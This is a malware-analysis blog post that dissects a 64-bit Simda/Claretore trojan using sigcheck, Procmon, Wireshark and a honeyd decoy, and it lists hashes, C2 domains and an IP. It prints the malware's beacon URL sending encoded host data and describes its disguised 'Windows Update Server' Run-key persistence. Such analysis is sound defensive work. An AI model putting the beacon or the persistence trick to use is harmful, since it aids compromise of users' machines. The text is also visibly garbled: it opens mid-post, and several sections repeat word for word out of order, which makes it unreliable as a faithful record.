File Access Date/Time : 2013:08:11 02:39:16-06:00
File Creation Date/Time : 2013:08:11 02:39:16-06:00
File Permissions : rw-rw-rw-
File Type : Win64 EXE
MIME Type : application/octet-stream
Machine Type : AMD AMD64
Time Stamp : 2010:02:26 00:43:11-07:00
PE Type : PE32+
Linker Version : 5.0
Code Size : 12288
Initialized Data Size : 397312
Uninitialized Data Size : 0
Entry Point : 0x1068
OS Version : 4.0
Image Version : 0.0
Subsystem Version : 4.0
Subsystem : Windows GUI
The compile time here shows that either this was compiled in 2010, or the compile time was changed. With the fairly high detection rate, it's a safe bet to say that this is a pretty old piece of malware.
Next up, let's run this thing and see what it does. My standard tools for behavioral analysis are Procmon and Process Explorer, both of which can be found in Microsoft's Sysinternals Suite (you can get it here: http://technet.microsoft.com/en-us/sysinternals/bb842062.aspx). This pretty much involves little more than setting up both programs, then executing the malware.
Upon executing the malware, nothing visibly happens, aside from the mouse cursor changing to the "busy" circle briefly. However, watching process explorer revealed a few child processes being spawned, only to be killed moments later. A few moments after that, the original exe had deleted itself. I want to get a screenshot of this happening, but it happened so fast the first time that I missed it, so I'll probably run it again later just to get a process explorer screenshot for you.
Edit: Here's a shot of the processes being spawned (or rather, being killed shortly after spawning) in process explorer:
First, it's time to analyze our Procmon logs. The first thing I like to do to get a basic idea of the meaningful things that happened is use a filter in Procmon that shows only actions that involved writing data to disk (this also includes deletions). Set Procmon filter like this:
Category is Write -- you'll have to use the dropdown to select 'category' and then enter 'write' in the text box yourself. Here's the filtered output:
Here we can see a few interesting things happening:
Trojan:Win32/Simda connects to a remote host and provides information regarding the newly infected computer.
It then receives the configuration information on where to download additional files, and other locations from which to download additional configuration files. Downloaded files are written to the %TEMP% folder, for example C:\Users\<user name>\AppData\Local\Temp. These files may include additional malware.
The good news is, I'm here now, and I'm going to try something new(ish). This time around, I'm going to do an analysis on a 64-bit malware sample sent to me by @DarrelRendell. The difference here is that I don't know anything about what I'm getting into, other than the fact that it's 64-bit, before starting work on the blog post about it. That is to say, I'm writing this post as I do my analysis of it. My goal here is to give you a little glimpse into my thought process and understand the way I like to do things. This might also lead to a post that's a little more sporadic than my previous posts. With any luck, I won't hit a dead end.
The tl;dr version:
Here's the basic overview of my (dynamic) analysis process.. this gets covered in depth throughout the post
- Gather basic info about the malware
- md5, VirusTotal info, sigcheck, exiftool, strings
- Make an educated guess about which malware family it belongs to
- Use procmon and process explorer to gather behavioral information
- Use filters in procmon to make life easier
- Correlate behavioral information to try to more accurately identify the malware
- Look at network traffic generated by malware (if applicable)
- Analyze any secondary paylods
The game begins...
Basic Information Collection
Okay, let's get started. I've got my sample, so let's gather some basic info on it. Hash, header info, check for packers, strings output, etc.
First, let's run it through sigcheck:
Sigcheck v1.91 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Users\admin\Desktop\unknown.exe:
Verified: Unsigned
Link date: 1:43 AM 2/26/2010
Publisher: n/a
Description: n/a
Product: n/a
Version: n/a
File version: n/a
MD5: 464F4C6477613AAAF1F8195B5E77CAB0
SHA1: 59D83AD05C6FB4EF1D17636692FA8CD9C60FFFC1
PESHA1: A14BB471C1949E05C462EAB4143C494570C90944
SHA256: DC36D538B7A1EE404DFD6E104B9A1EDD7046526E55B3F911BEEA2B422A0EB625
Followed by checking the md5 in VirusTotal... Not bad, initially it had a 19/46 detection rate. The analysis is 3 months old in VT, so let's re-upload the sample and see if we get a better detection rate and possibly some help with classification: https://www.virustotal.com/en/file/dc36d538b7a1ee404dfd6e104b9a1edd7046526e55b3f911beea2b422a0eb625/analysis/1376211352/
Okay, so we have a few more detections than the initial search I ran, up to 23/45 now. Most of the AV vendors classify this as a generic trojan. There are a few references to Kryptik, Simda, and Rodricter (which is part of the Simda family, it seems). Some quick google searching for these malware names leads to a few decent pages to research:
Simda: http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Trojan%3AWin32%2FSimda#tab=2
Kryptik: http://blog.fortinet.com/W32-Kryptik-AX-tr---A-Masterful-FTP-Trojan/
Note: Later in the post I discovered that there is actually a 32-bit component in the form of Win32/Claretore, which is a member of the Simda family. More on that later.
Now that we have some reference material for when we do behavioral analysis later, lets finish collecting basic information about the file. Next, a quick auto scan via peframe:
C:\Users\admin\Desktop\Tools\PE Tools\peframe>peframe.py -a C:\Users\admin\Desktop\unknown.exe
File Name: unknown.exe
File Size: 177664 byte
Compile Time: 2010-02-26 00:43:11
DLL: False
Sections: 5
MD5 hash: 464f4c6477613aaaf1f8195b5e77cab0
SHA-1 hash: 59d83ad05c6fb4ef1d17636692fa8cd9c60fffc1
Packer: None
Anti Debug: None
Anti VM: None
File and URL:
FILE: KERNEL32.dll
URL: None
Suspicious API Functions:
Func. Name: GetCommandLineA
Func. Name: VirtualAlloc
Suspicious API Anti-Debug:
Suspicious Sections:
Sect. Name: DATA
MD5 hash: 739c32c979bb45cad8563bfbbc15439d
SHA-1 hash: 10ba28ceb02a7479c7bc8aaaf8840ab751c71cd7
Sect. Name: BSS
MD5 hash: a3c0e191bd4eb60320d1e3781667397c
SHA-1 hash: e5ed43c0c1e21bb881d3828ee7c875851a1ea5cd
Sect. Name: .edata
MD5 hash: 90e0281621601ef5b4988bd0b9814939
SHA-1 hash: cfaa206cc179211489c71ceb51d1e8393fbc73d9
Sect. Name: .reloc
MD5 hash: 2c38765194d27b75f56d0565088a53ee
SHA-1 hash: 217125fcb30e489e2ecc55be03157344f4a06db8
No packer detected, so let's take a look at strings output to see if there's anything that stands out...
GetCommandLineA
ExitVDM
Module32NextW
OpenMutexW
Module32FirstW
VirtualAlloc
KERNEL32.dll
Those are pretty much the only readable strings in the file. "ExitVDM" in particular is something I haven't seen before. Running a quick google search for "ExitVDM" leads to a multitude of pages all related to malware, but nothing in particular stands out that allows us to identify the malware yet. These strings may be useful later, so let's keep going. Next up is exiftool output:
ExifTool Version Number : 9.30
File Name : unknown.exe
Directory : C:/Users/admin/Desktop
File Size : 174 kB
File Modification Date/Time : 2013:07:09 11:44:24-06:00
File Access Date/Time : 2013:08:11 02:39:16-06:00
File Creation Date/Time : 2013:08:11 02:39:16-06:00
File Permissions : rw-rw-rw-
File Type : Win64 EXE
MIME Type : application/octet-stream
Machine Type : AMD AMD64
Time Stamp : 2010:02:26 00:43:11-07:00
PE Type : PE32+
Linker Version : 5.0
Code Size : 12288
Initialized Data Size : 397312
Uninitialized Data Size : 0
Entry Point : 0x1068
OS Version : 4.0
Image Version : 0.0
Subsystem Version : 4.0
Subsystem : Windows GUI
The compile time here shows that either this was compiled in 2010, or the compile time was changed. With the fairly high detection rate, it's a safe bet to say that this is a pretty old piece of malware.
Behavioral Analysis
Next up, let's run this thing and see what it does. My standard tools for behavioral analysis are Procmon and Process Explorer, both of which can be found in Microsoft's Sysinternals Suite (you can get it here: http://technet.microsoft.com/en-us/sysinternals/bb842062.aspx). This pretty much involves little more than setting up both programs, then executing the malware.
Upon executing the malware, nothing visibly happens, aside from the mouse cursor changing to the "busy" circle briefly. However, watching process explorer revealed a few child processes being spawned, only to be killed moments later. A few moments after that, the original exe had deleted itself. I want to get a screenshot of this happening, but it happened so fast the first time that I missed it, so I'll probably run it again later just to get a process explorer screenshot for you.
Edit: Here's a shot of the processes being spawned (or rather, being killed shortly after spawning) in process explorer:
First, it's time to analyze our Procmon logs. The first thing I like to do to get a basic idea of the meaningful things that happened is use a filter in Procmon that shows only actions that involved writing data to disk (this also includes deletions). Set Procmon filter like this:
Category is Write -- you'll have to use the dropdown to select 'category' and then enter 'write' in the text box yourself. Here's the filtered output:
Here we can see a few interesting things happening:
- Unknown.exe creates a file: 1438bh51ova3si-0.exe
- Unknown.exe modifies the startup entries in the registry under: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update Server
- taskhost.exe deletes internat.exe from the startup entry from the registry
- 1438bh51ova3si-0.exe creates a file: 1bh96u1i5ix6l-0.tmp
- 1438bh51ova3si-0.exe creates a file: v9l6rc1k3k14t-0.tmp
- Unknown.exe attempts to delete itself (it's not successful in this screenshot, but it is successful later)
There are some other interesting behavioral things going on in this screenshot, particularly with modification of UserAssist registry keys, but I'm going to ignore that for the moment and focus on the files that were created.
The two .tmp files were deleted by the malware, but the created exe (1438bh51ova3si-0.exe) is there. Here's the sigcheck info for it:
Sigcheck v1.91 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Users\admin\Desktop\1438bh51ova3si-0.exe:
Verified: Unsigned
Link date: 1:43 AM 2/26/2010
Publisher: n/a
Description: n/a
Product: n/a
Version: n/a
File version: n/a
MD5: 464F4C6477613AAAF1F8195B5E77CAB0
SHA1: 59D83AD05C6FB4EF1D17636692FA8CD9C60FFFC1
PESHA1: A14BB471C1949E05C462EAB4143C494570C90944
SHA256: DC36D538B7A1EE404DFD6E104B9A1EDD7046526E55B3F911BEEA2B422A0EB625
You'll probably notice that the hashes match the original unknown.exe file. This is simply the original exe copying itself to C:\Users\admin\AppData\Local\Temp\ under a different filename. Now that we got that part figured out, what about the other exe files? Going to have to set the lab VM up again and try to grab the .tmp files before they delete themselves.
Edit: When I did the network analysis later in this post, I was able to grab copies of the .tmp files that the main exe creates. Here's the sigcheck info on them (note the filenames are somewhat randomized):
Sigcheck v1.91 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Users\admin\Desktop\ht5x0212c7hjs-0.tmp:
Verified: Unsigned
Link date: 12:34 PM 3/26/2008
Publisher: n/a
Description: n/a
Product: n/a
Version: n/a
File version: n/a
MD5: C36254EBF4819085CC714442E331B6F2
SHA1: 85E6B52A28589FC8AFD100DFAC934F4F42C0447F
PESHA1: DFA3ABDCC9EBA9AF88D0AF08F0E15D8E30763232
SHA256: 90C17A1DD07536E7E23A8B0B4C2FFA681741142FEAE817DEFA973C34D4F29D01
VT info(34/45): https://www.virustotal.com/en/file/90c17a1dd07536e7e23a8b0b4c2ffa681741142feae817defa973c34d4f29d01/analysis/1376220409/
C:\Users\admin\Desktop\v9l6rc1k3k14t-0.tmp:
Verified: Unsigned
Link date: 1:43 AM 2/26/2010
Publisher: n/a
Description: n/a
Product: n/a
Version: n/a
File version: n/a
MD5: 91C95A72D439F93939A7B0BE8C995A36
SHA1: BAF6A9D6E61D9F5AB391E6D241B9C96AD8B8A187
PESHA1: C3AC273E93C6FB4A38EABEA114281667EF841074
SHA256: 9772E4BED9AAD3A2918176D6C218FBF5B0EA65F78D107FC5A2CF5FB27938C896
VT info(9/45): https://www.virustotal.com/en/file/9772e4bed9aad3a2918176d6c218fbf5b0ea65f78d107fc5a2cf5fb27938c896/analysis/1376220422/
While looking through VT results I noticed references to Win32/Claretore, which is part of the Simda family. A little research lead me to this article from Microsoft. http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Trojan:Win32/Claretore#tab=2. I suggest looking at that before you continue reading to see just how closely it matches up with the behavior, etc., of this sample. :)
And the strange startup entry for "Windows Update Server"?
Edit: When I did the network analysis later in this post, I was able to grab copies of the .tmp files that the main exe creates. Here's the sigcheck info on them (note the filenames are somewhat randomized):
Sigcheck v1.91 - File version and signature viewer
Copyright (C) 2004-2013 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\Users\admin\Desktop\ht5x0212c7hjs-0.tmp:
Verified: Unsigned
Link date: 12:34 PM 3/26/2008
Publisher: n/a
Description: n/a
Product: n/a
Version: n/a
File version: n/a
MD5: C36254EBF4819085CC714442E331B6F2
SHA1: 85E6B52A28589FC8AFD100DFAC934F4F42C0447F
PESHA1: DFA3ABDCC9EBA9AF88D0AF08F0E15D8E30763232
SHA256: 90C17A1DD07536E7E23A8B0B4C2FFA681741142FEAE817DEFA973C34D4F29D01
VT info(34/45): https://www.virustotal.com/en/file/90c17a1dd07536e7e23a8b0b4c2ffa681741142feae817defa973c34d4f29d01/analysis/1376220409/
C:\Users\admin\Desktop\v9l6rc1k3k14t-0.tmp:
Verified: Unsigned
Link date: 1:43 AM 2/26/2010
Publisher: n/a
Description: n/a
Product: n/a
Version: n/a
File version: n/a
MD5: 91C95A72D439F93939A7B0BE8C995A36
SHA1: BAF6A9D6E61D9F5AB391E6D241B9C96AD8B8A187
PESHA1: C3AC273E93C6FB4A38EABEA114281667EF841074
SHA256: 9772E4BED9AAD3A2918176D6C218FBF5B0EA65F78D107FC5A2CF5FB27938C896
VT info(9/45): https://www.virustotal.com/en/file/9772e4bed9aad3a2918176d6c218fbf5b0ea65f78d107fc5a2cf5fb27938c896/analysis/1376220422/
While looking through VT results I noticed references to Win32/Claretore, which is part of the Simda family. A little research lead me to this article from Microsoft. http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Trojan:Win32/Claretore#tab=2. I suggest looking at that before you continue reading to see just how closely it matches up with the behavior, etc., of this sample. :)
And the strange startup entry for "Windows Update Server"?
This is a pretty common attempt by the malware writer to throw off an average user into thinking their new startup entry is legitimate. The malware has added itself to the Run key under HKCU/Software, which will cause the malware to execute any time a user logs in (Edit: Thanks to Harlan Carvey for pointing out that I originally stated (incorrectly) that the malware would execute when the machine boots up).
Now that we know a few things the malware does, including its persistence method, let's go back and remove the filter we set above. We're going to use a new filter:
Process Name is unknown.exe
This shows us some more useful info, seen here:
Now things are getting more interesting.
- Unknown.exe attempting to connect to: 46.105.131.121
- Unknown.exe creating three new threads with the following PIDs: 1640, 1572, 504
At this point, we know now that the malware is trying to connect to something. I suspect that the process killed itself when it couldn't connect to the internet, and simply sets persistence so it will try to connect every time a user logs on. Being that this is likely some kind of backdoor trojan (based on the research we did earlier and the results from VT), the malware is probably trying to connect to something to await commands from the malware writer. This behavior also seems to match up with our research on Simda from earlier as well. Here's a brief snippet from the article on it:
Trojan:Win32/Simda connects to a remote host and provides information regarding the newly infected computer.
It then receives the configuration information on where to download additional files, and other locations from which to download additional configuration files. Downloaded files are written to the %TEMP% folder, for example C:\Users\<user name>\AppData\Local\Temp. These files may include additional malware.
My guess is the .tmp files from earlier were created by the malware when it attempted to connect to the internet, but ended up deleting them when the connection to the internet failed. We'll come back to the network traffic later when we run the malware with wireshark running. Maybe I'll get a wild hair and let my analysis VM out to the net to see if it's just a backdoor, or if it's a downloader (or both!).
Let's figure out what those PIDs are. Again we can use a filter in Procmon to filter by PID. You may notice that the threads exit not long after they are created, so it's possible that it's spawning a process that doesn't do much. Only one way to find out!
Creating 3 separate filters in Procmon to display activity from PIDs 1640, 1572, and 504 didn't display anything. This indicates that the threads were created to do something, but then ended before the threads themselves performed any actions. However, creating a filter for "Parent PID is 1376" (the PID of unknown.exe from our last screenshot) shows us actions performed by 1438bh51ova3si-0.exe which has the PID of 976, seen here:
I've pointed out the interesting parts of this that seem match up with the previous research on Simda. This appears to be the malware collecting information about the operating system and various settings, presumably to send back to the malware writer when it connects to the internet. Speaking of connecting to the internet...
Network Traffic Analysis
We already know the malware tries to get out to the net, so let's reset the lab and then capture all the traffic generated by the malware using Wireshark. In this case, I've pointed my malware analysis VM to my Remnux VM (set default gateway and DNS IP address on the analysis vm to the IP of the Remnux vm) in order to capture the traffic. Depending on what type of queries the malware makes, netcat, honeyd, ircd, or a combination of the three may be needed.
Without using anything but wireshark, we can see the malware trying to query an oddly named domain (dryqvazjcobtr.com/.net):
It also attempts to connect to the same IP address mentioned earlier: 46.105.131.121 on port 80, and we need to know what it's trying to do.
How do we tackle this? honeyd to the rescue! Remnux VM has honeyd already installed, so starting it up is a manner of entering honeyd start at the terminal. Honeyd is a lightweight honeypot client that can intercept IP based traffic. In this case, I have honeyd configured to spoof a web server (using the web.sh script that's already written on Remnux). The malware wants to connect to a web server on port 80, so I'm giving it what it wants. Here's another snippet of the packet capture while honeyd is running:
We can see it issuing some GET requests for something, so following the TCP stream gets us some more intel:
The "404 Not Found" response is honeyd responding just like a real web server would. :) Notice the host: report.w713ue157.com. The full GET request it's issuing is: hxxp://report.w713ue157.com/?qa5y7i9=%96%98%A8%B0%B5%A5c%ACyth%B8%9Cr%7Bjs%A4%A5%A5%A7%96v%B1g%AEl%A9%A7%A5%A3%B4%A6T%EE%ADn%AA%EB%9CW%AA%A0%92%A0%9F%93%DD%CF%9C%B6%9C%D7f%C7%B8%96%DC%DB%D8k%AAorv%A6%9Afwzc%A6%A6%AE%B7%94z%BAm%A1o%A7%A6%A8%9F%B7%A7e%B9leu%A7%8B%A3%9A%AAk%93%9F%9D%A1%91j%ABg%99i%A2%96%A0%9F%A2%A4%5E%A7gaY%EB%A2aeg%5E%93%A1%A6%B2%85
I attempted to wget the URL above but did not find anything. It's not surprising, but due to the age of the malware, it's likely that the web server that's hosting the malicious content is no longer live. Doing some research into the IP 46.105.131.121 provides even more evidence that we are, in fact, dealing with a variant of Win32/Claretore (which is, again, part of the Win32/Simda family). The article can be found here: http://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?Name=Trojan%3AWin32%2FClaretore.J#tab=2
Without using anything but wireshark, we can see the malware trying to query an oddly named domain (dryqvazjcobtr.com/.net):
It also attempts to connect to the same IP address mentioned earlier: 46.105.131.121 on port 80, and we need to know what it's trying to do.
How do we tackle this? honeyd to the rescue! Remnux VM has honeyd already installed, so starting it up is a manner of entering honeyd start at the terminal. Honeyd is a lightweight honeypot client that can intercept IP based traffic. In this case, I have honeyd configured to spoof a web server (using the web.sh script that's already written on Remnux). The malware wants to connect to a web server on port 80, so I'm giving it what it wants. Here's another snippet of the packet capture while honeyd is running:
We can see it issuing some GET requests for something, so following the TCP stream gets us some more intel:
The "404 Not Found" response is honeyd responding just like a real web server would. :) Notice the host: report.w713ue157.com. The full GET request it's issuing is: hxxp://report.w713ue157.com/?qa5y7i9=%96%98%A8%B0%B5%A5c%ACyth%B8%9Cr%7Bjs%A4%A5%A5%A7%96v%B1g%AEl%A9%A7%A5%A3%B4%A6T%EE%ADn%AA%EB%9CW%AA%A0%92%A0%9F%93%DD%CF%9C%B6%9C%D7f%C7%B8%96%DC%DB%D8k%AAorv%A6%9Afwzc%A6%A6%AE%B7%94z%BAm%A1o%A7%A6%A8%9F%B7%A7e%B9leu%A7%8B%A3%9A%AAk%93%9F%9D%A1%91j%ABg%99i%A2%96%A0%9F%A2%A4%5E%A7gaY%EB%A2aeg%5E%93%A1%A6%B2%85
I attempted to wget the URL above but did not find anything. It's not surprising, but due to the age of the malware, it's likely that the web server that's hosting the malicious content is no longer live. Doing some research into the IP 46.105.131.121 provides even more evidence that we are, in fact, dealing with a variant of Win32/Claretore (which is, again, part of the Win32/Simda family). The article can be found here: http://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?Name=Trojan%3AWin32%2FClaretore.J#tab=2
Conclusion and Summary
My goal here was to accomplish a few things:
- Analyze the behavior of the malware, including network activity
- Identify with reasonable certainty the specific type of malware I was analyzing
There is certainly a lot more I could analyze here (such as the .tmp files), but I think I've accomplished my original goal quite well of giving readers some insight into malware analysis and my particular thought process, as well as my analysis process. Hope you enjoyed it! Comments are most welcome, and you can always find me via Twitter if you'd like to keep an eye on what I'm working on (or ranting about!).
Intel:
- Malicious domains/IPs:
- report.w713ue157.com
- 46.105.131.121
- dryqvazjcobtr.com
- dryqvazjcobtr.net
- Malware types:
- W64/Simda
- W32/Claretore
- Virustotal results:
- 34/45 - Win32/Claretore - https://www.virustotal.com/en/file/90c17a1dd07536e7e23a8b0b4c2ffa681741142feae817defa973c34d4f29d01/analysis/1376220409/
- 0/38 - w713ue157.com URL scan - https://www.virustotal.com/en/url/cbefd073540b94aa869d4ae430441c243c20ccd334587f4d6a11712611d2865f/analysis/1376222912/
- 9/45 - W64/Simda - https://www.virustotal.com/en/file/9772e4bed9aad3a2918176d6c218fbf5b0ea65f78d107fc5a2cf5fb27938c896/analysis/1376220422/
- 26/45 - W64/Simda - https://www.virustotal.com/en/file/dc36d538b7a1ee404dfd6e104b9a1edd7046526e55b3f911beea2b422a0eb625/analysis/1376211352/
Research:
- Win32/Simda - http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Trojan%3AWin32%2FSimda#tab=2
- W32/Kryptik - http://blog.fortinet.com/W32-Kryptik-AX-tr---A-Masterful-FTP-Trojan/
- Win32/Claretore - http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Trojan:Win32/Claretore#tab=2
- Win32/Claretore.J - http://www.microsoft.com/security/portal/threat/encyclopedia/Entry.aspx?Name=Trojan%3AWin32%2FClaretore.J#tab=2
Tools Used:
- Sysinternals Suite: http://technet.microsoft.com/en-us/sysinternals/bb842062
- Wireshark: http://www.wireshark.org/download.html
- Honeyd: http://www.honeyd.org/release.php
- RemnuxVM: http://zeltser.com/remnux/#download-remnux
- Wireshark and honeyd are both included by default in Remnux v4.0 - this is an excellent VM, I highly recommend it! Many thanks to Lenny for the hard work he's put into creating it!
Subscribe to:
Posts (Atom)